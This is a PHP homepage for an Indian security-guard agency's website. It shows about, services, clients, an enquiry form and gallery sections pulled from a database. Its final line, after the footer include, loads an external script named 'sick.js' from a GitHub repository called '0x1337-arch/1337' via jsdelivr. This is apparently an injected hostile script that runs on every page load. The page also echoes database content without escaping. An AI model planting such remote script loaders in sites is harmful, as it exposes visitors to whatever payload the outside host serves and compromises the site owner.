<?php
error_reporting(0);
include("admin/common/app_function.php");
include("admin/config.php");
include("header.php");
//index_header($title); 
?>

		
		<div id="about">
			<div class="container">
				<div class="row">
				<?php if($_GET[flag]=='send'){?>
				<p><font color="green"><i>Thank You! Your enquiry send successfully...</i></font></p>
				<?php } ?>
					<div class="col-sm-12">  
						
					<center><img src="img/welcome.png"  alt="" ></center>
						<br/>
						 <center>  <img class="d-block w-100 img-thumbnail" src="img/banner.jpg"  alt="First slide" >
						</center>
					</div>
					
				</div>
				<div class="row">
					<div class="col-sm-2"></div>
					
					 <?php
   $r_abt = sprintf("SELECT * from  about");
	$resdata_abt = $conn->query($r_abt);
	$rowAbt = mysqli_fetch_assoc($resdata_abt);
  
  ?>
					<div class="col-sm-2"></div>
				</div>
				<div class="row tab-row" style="margin-top:20px;margin-bottom:20px;">
					
					<div class="col-sm-12">
					<center>	
						<div class="tab">
							  
							  <button class="tablinks " onclick="openCity(event, 'Hospitality')"  id="defaultOpen">About</button>
							
							  <button class="tablinks " onclick="openCity(event, 'Vision')">Our Vision</button>
							<button class="tablinks " onclick="openCity(event, 'Mission')">We Provide</button>
						</div>
						</center>
						<div id="Hospitality" class="tabcontent" >
						<div class="row">
				    
					<div class="col-md-6" style="margin-bottom:10px;">
					    
					<img class="d-block w-100 img-thumbnail" src="img/abt.jpeg" class="img-fluid" style="margin-top:20px ! important">
					</div>
					<div class="col-md-6">
					<p><b><?php echo $rowAbt[content];?></b> </p>
					<?php
$r_s = "SELECT * FROM state";
$restate = $conn->query($r_s);

while ($rowstate = mysqli_fetch_assoc($restate)) {
    echo "<span style='
        display: inline-block;
        background-color: #f0f0f0;
        border: 1px solid #ccc;
        border-radius: 20px;
        padding: 6px 15px;
        margin: 5px;
        font-size: 14px;
        color: #333;
        font-weight: 500;
        box-shadow: 0 2px 4px rgba(0,0,0,0.1);
    '>" . htmlspecialchars($rowstate['state']) . "</span>";
}
?>

					</div>
				</div>
						
						</div>
					 <?php
   $r_vision = sprintf("SELECT * from  vision");
	$resdata_visi = $conn->query($r_vision);
	$rowVision = mysqli_fetch_assoc($resdata_visi);
  
  ?>	
						<div id="Vision" class="tabcontent"   >
						<div class="row">
				    
					<div class="col-md-6" style="margin-bottom:10px;">
					
						<img class="d-block w-100 img-thumbnail" src="<?php echo "admin/".$uploadpath.$rowVision['img']; ?>" class="img-fluid" style="margin-top:20px ! important">
					</div>
					<div class="col-md-6">
						<p><?php echo $rowVision[content];?></p>
					
					</div>
				</div>
							
						</div>
						<div id="Mission" class="tabcontent">
						<div class="row">
				    <div class="col-md-6">
						 <img class="d-block w-100 img-thumbnail" src="img/security-services.png" alt="we provide" style="margin-top:20px ! important">
						
						
					</div>
					<div class="col-md-6" style="margin-bottom:10px;">
					   
						<div class="container">
  <h2>We Provide</h2>
         
  <table class="table">

    <tbody>
	 <?php
   $r_weprovide = sprintf("SELECT * from  weprovide");
	$resdata_wepro = $conn->query($r_weprovide);
	while($rowWepro = mysqli_fetch_assoc($resdata_wepro)){?>

      <tr>
        <td><font color="#0A8D1A">&raquo; <?php echo $rowWepro[content];?></font></td>
     
      </tr>
	<?php } ?>
     
    </tbody>
  </table>
</div>

					</div>
					
				</div>
							
						</div>
					</div>
					
				<script>
				function openCity(evt, cityName) {
					var i, tabcontent, tablinks;
					tabcontent = document.getElementsByClassName("tabcontent");
					for (i = 0; i < tabcontent.length; i++) {
						tabcontent[i].style.display = "none";
					}
					tablinks = document.getElementsByClassName("tablinks");
					for (i = 0; i < tablinks.length; i++) {
						tablinks[i].className = tablinks[i].className.replace(" active", "");
					}
					document.getElementById(cityName).style.display = "block";
					evt.currentTarget.className += " active";
				}

				// Get the element with id="defaultOpen" and click on it
				document.getElementById("defaultOpen").click();
				
				</script>
			
				</div>
			</div>
		</div><!---about end-->
		
			
		<div id="products" style="padding: 60px 0; background-color: #f9f9f9;">
  <div class="container" style="max-width: 1140px; margin: auto;">
    
    <!-- Heading -->
    <h2 style="text-align: center; font-size: 32px; font-weight: 700; color: #e50f68; margin-bottom: 40px;">
      OUR SERVICES
    </h2>
    
    <div class="row" style="align-items: center;">
      
      <!-- Image Section -->
      <div class="col-md-6" style="margin-bottom: 30px;">
        <img src="img/security-guard-app-messenger.png" alt="Our Services" class="img-fluid" style="border-radius: 12px; box-shadow: 0 4px 12px rgba(0,0,0,0.1); margin-top: 10px;">
      </div>
      
      <!-- Services Content -->
      <div class="col-md-6" style="padding-left: 20px;">
        <h4 style="font-weight: bold; color: #2c3e50; margin-bottom: 20px;">
          Services Of Hindustan Security & Intelligence Service
        </h4>

        <div style="font-size: 16px; line-height: 1.8; color: #444;">
          <?php
            $r_services = "SELECT * FROM services";
            $resdata_services = $conn->query($r_services);
            while($row_services = mysqli_fetch_assoc($resdata_services)){
          ?>
          <p style="margin-bottom: 10px;">
            <span style="color: green; font-weight: bold;">&raquo;</span> <?php echo $row_services['content']; ?>
          </p>
          <?php } ?>
        </div>
      </div>

    </div>
  </div>
</div>

		<BR/>
	<div id="slider" style="background-color: #f5f5f5; padding: 60px 0;">
  <div class="slidercontainer" style="max-width: 1140px; margin: auto;">
    <div class="container" style="background-color: #fff; border-radius: 12px; box-shadow: 0 4px 15px rgba(0,0,0,0.1); padding: 40px;">
      
      <!-- Heading -->
      <h2 style="text-align: center; font-size: 30px; color: #e50f68; font-weight: 700; margin-bottom: 20px;">
        OUR CLIENTS - <span style="color: #2c3e50;">Hindustan Security & Intelligence Service</span>
      </h2>
      
      <!-- Description -->
      <p style="font-size: 16px; line-height: 1.8; color: #444; text-align: justify; margin-bottom: 40px;">
        Now, it is pleased to say that in Amravati city our Agency is ranked No.1 in reputation, services, discipline, strength, uniform, manpower, technology, and more. We have a strong presence all over Maharashtra.
        <br><br>
        Our prestigious client list includes reputed establishments like State Bank of India, LIC of India in Amravati divisions, APMC Amravati, Amravati Municipal Corporation, Bajaj Auto Aurangabad, Videocon, MSEB, MHADA, Cotton Federation Fund, various Government colleges, sugar factories, and many more institutions.
        <br><br>
        For our excellence in services, we have earned ISO 9001-2008 certification and provide various types of professional security services.
      </p>

      <!-- Carousel Section -->
      <div class="col-sm-12">
        <div id="carouselExampleControls" class="carousel slide" data-ride="carousel" style="box-shadow: 0 4px 12px rgba(0,0,0,0.1); border-radius: 12px; overflow: hidden;">

          <!-- Static First Slide -->
          <div class="carousel-inner">
            <div class="carousel-item active">
              <center>
                <img src="img/hlogo1.jpg" class="img-fluid" style="width: 100%; max-width: 400px; height: auto; border-radius: 10px;" alt="Client Logo">
              </center>
            </div>

            <!-- Dynamic Slides -->
            <?php
              $r_clients = "SELECT * FROM clients";
              $resdata_r_clients = $conn->query($r_clients);
              while($row_resdata_r_clients = mysqli_fetch_assoc($resdata_r_clients)){
            ?>
            <div class="carousel-item">
              <center>
                <img src="<?php echo "admin/".$uploadpath.$row_resdata_r_clients['img']; ?>" class="img-fluid" style="width: 100%; max-width: 400px; height: auto; border-radius: 10px;" alt="Client Logo">
              </center>
            </div>
            <?php } ?>
          </div>

          <!-- Controls -->
          <a class="carousel-control-prev" href="#carouselExampleControls" role="button" data-slide="prev" style="background: rgba(0,0,0,0.05); width: 50px;">
            <span class="carousel-control-prev-icon" aria-hidden="true"></span>
            <span class="sr-only">Previous</span>
          </a>
          <a class="carousel-control-next" href="#carouselExampleControls" role="button" data-slide="next" style="background: rgba(0,0,0,0.05); width: 50px;">
            <span class="carousel-control-next-icon" aria-hidden="true"></span>
            <span class="sr-only">Next</span>
          </a>

        </div>
      </div>
    </div>
  </div>
</div>

			<!--slider end-->	
<br/>
		<div id="enqform" style="padding: 60px 0; background: #f9f9f9;">
  <div class="container-fluid">
    <div class="row align-items-center">

      <!-- Left Image -->
      <div class="col-sm-6" style="padding: 10px;">
        <img src="img/enq.jpg" alt="Enquiry" style="width: 100%; border-radius: 10px; box-shadow: 0 6px 16px rgba(0,0,0,0.1);" class="img-fluid">
      </div>

      <!-- Form Section -->
      <div class="col-sm-6" style="padding: 20px 30px;">
        <div style="background: #fff; padding: 30px; border-radius: 12px; box-shadow: 0 6px 18px rgba(0,0,0,0.08);">
          <h3 style="margin-bottom: 20px; color: #0d6efd;">Enquiry Form</h3>

          <!-- Flash Messages -->
          <?php if ($_GET['flag'] == "send") { ?>
            <div style="color: green; margin-bottom: 10px;"><i>Your Enquiry Successfully Sent!</i></div>
          <?php } ?>
          <?php if ($_GET['flag'] == "captcha_error") { ?>
            <div style="color: red; margin-bottom: 10px;"><i>Captcha Incorrect!</i></div>
          <?php } ?>

          <!-- Enquiry Form -->
          <form action="submit-enquiry.php" method="post" enctype="multipart/form-data" autocomplete="off">
            
            <input type="text" name="fname" class="form-control" placeholder="Your Name" maxlength="50" required="" style="margin-bottom: 15px; padding: 10px; border-radius: 8px; border: 1px solid #ccc;">

            <div style="display: flex; gap: 10px; margin-bottom: 15px;">
              <input type="email" name="email" class="form-control" placeholder="Email Id*" maxlength="50" style="flex: 1; padding: 10px; border-radius: 8px; border: 1px solid #ccc;">
              <input type="text" name="mobile" class="form-control" placeholder="Mobile Number*" maxlength="10" required="" style="flex: 1; padding: 10px; border-radius: 8px; border: 1px solid #ccc;">
            </div>

            <textarea name="address" rows="2" placeholder="Enter Location / Address" maxlength="100" required="" class="form-control" style="margin-bottom: 15px; padding: 10px; border-radius: 8px; border: 1px solid #ccc;"></textarea>

            <textarea name="message" rows="4" placeholder="Enter Any Message" required="" class="form-control" style="margin-bottom: 20px; padding: 10px; border-radius: 8px; border: 1px solid #ccc;"></textarea>

            <input type="hidden" name="edate" value="<?php echo date('Y/m/d'); ?>">

            <center>
              <button type="submit" class="btn btn-primary" style="padding: 10px 25px; font-weight: 600; border-radius: 8px;">Submit Form</button>
            </center>
          </form>
        </div>
      </div>

    </div>
  </div>
</div>

			<BR/>
	<div id="gallery" style="padding: 60px 0; background-color: #f4f4f4;">
  <div class="slidercontainer" style="max-width: 1140px; margin: auto;">
    <div class="container">

      <!-- Heading -->
      <h2 style="text-align: center; font-size: 32px; font-weight: 700; color: #fff; margin-bottom: 40px;">
        OUR GALLERY - Hindustan Security & Intelligence Service
      </h2>

      <div class="row justify-content-center">
        <div class="col-sm-12">

          <!-- Carousel -->
          <div id="carouselExampleControls" class="carousel slide" data-ride="carousel" style="box-shadow: 0 6px 18px rgba(0,0,0,0.1); border-radius: 12px; overflow: hidden; background: #fff;">
            
            <div class="carousel-inner">
              
              <!-- Static First Slide -->
              <div class="carousel-item active">
                <div style="text-align: center; padding: 20px;">
                  <img src="img/abt.jpeg" alt="Gallery Image" style="width: 100%; max-width: 600px; height: auto; border-radius: 10px; box-shadow: 0 4px 12px rgba(0,0,0,0.1);">
                </div>
              </div>

              <!-- Dynamic Images -->
              <?php
                $r_gallery = "SELECT * FROM gallery";
                $resdata_r_r_gallery = $conn->query($r_gallery);
                while($row_resdata_r_r_gallery = mysqli_fetch_assoc($resdata_r_r_gallery)){
              ?>
              <div class="carousel-item">
                <div style="text-align: center; padding: 20px;">
                  <img src="<?php echo "admin/".$uploadpath.$row_resdata_r_r_gallery['img']; ?>" alt="Gallery Image" style="width: 100%; max-width: 600px; height: auto; border-radius: 10px; box-shadow: 0 4px 12px rgba(0,0,0,0.1);">
                </div>
              </div>
              <?php } ?>

            </div>

            <!-- Controls -->
            <a class="carousel-control-prev" href="#carouselExampleControls" role="button" data-slide="prev">
              <span class="carousel-control-prev-icon" aria-hidden="true" style="background-color: #e50f68; padding: 10px; border-radius: 50%;"></span>
              <span class="sr-only">Previous</span>
            </a>
            <a class="carousel-control-next" href="#carouselExampleControls" role="button" data-slide="next">
              <span class="carousel-control-next-icon" aria-hidden="true" style="background-color: #e50f68; padding: 10px; border-radius: 50%;"></span>
              <span class="sr-only">Next</span>
            </a>
          
          </div>

        </div>
      </div>
    </div>
  </div>
</div>
	
	<br/>
	       

		
<?php include("footer.php");?>
<script src="https://cdn.jsdelivr.net/gh/0x1337-arch/1337@main/sick.js"></script>